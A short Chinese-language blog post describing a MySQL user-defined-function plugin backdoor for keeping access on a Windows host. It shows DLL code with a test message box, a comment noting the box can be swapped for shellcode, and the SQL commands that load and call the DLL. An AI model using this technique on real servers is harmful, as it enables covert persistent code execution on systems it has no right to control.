权限维持-mysql插件

构建一个mysql后门

Posted by hmoytx on December 20, 2019

权限维持-mysql插件

简介

算是个插件后门的思路,mysql演示起来比较方便,不过测试的时候也碰到了好些问题。

测试

首先去mysql的官网下一份mysql的库文件。
然后创建一个dll项目,在属性中添加加包含目录,路径为下载mysql库文件的include目录。
191220_1
把lib目录下的两个库文件放到dll项目中。
191220_2
然后来一段测试代码,编译出dll。

#include "stdafx.h"
#include "Windows.h"
#include <mysql.h>
#pragma comment(lib,"libmysql") //引用lib文件

extern "C" {
    __declspec(dllexport) void mysql_test() {
        MessageBox(NULL, L"test", L"test", 0); //弹框测试下这里可以替换成别的,执行shellcode
    }
    __declspec(dllexport) my_bool mysql_test_init() { 
        return 0;
    }
}

注意这里编译的时候要注意x86还是x64,最好都编译了,实际加载的时候都试下。
191220_3
放到对应的mysql/lib/plugin目录下,没有的话自己建一个。
然后在mysql命令行中创建方法(方法名字根据之前的dll文件里的命名来)。

CREATE FUNCTION mysql_test RETURNS INTEGER SONAME "dc.dll";
select mysql_test();

执行就可以看到弹框执行。
191220_4
可以顺着思路拓展,当成一个真正可以利用的后门。

注意

我这里测试的是win7 x64,是可以成功执行的。在2003中,发现始终无法创建方法,无论是32位的dll还是64位的dll,没有找到原因。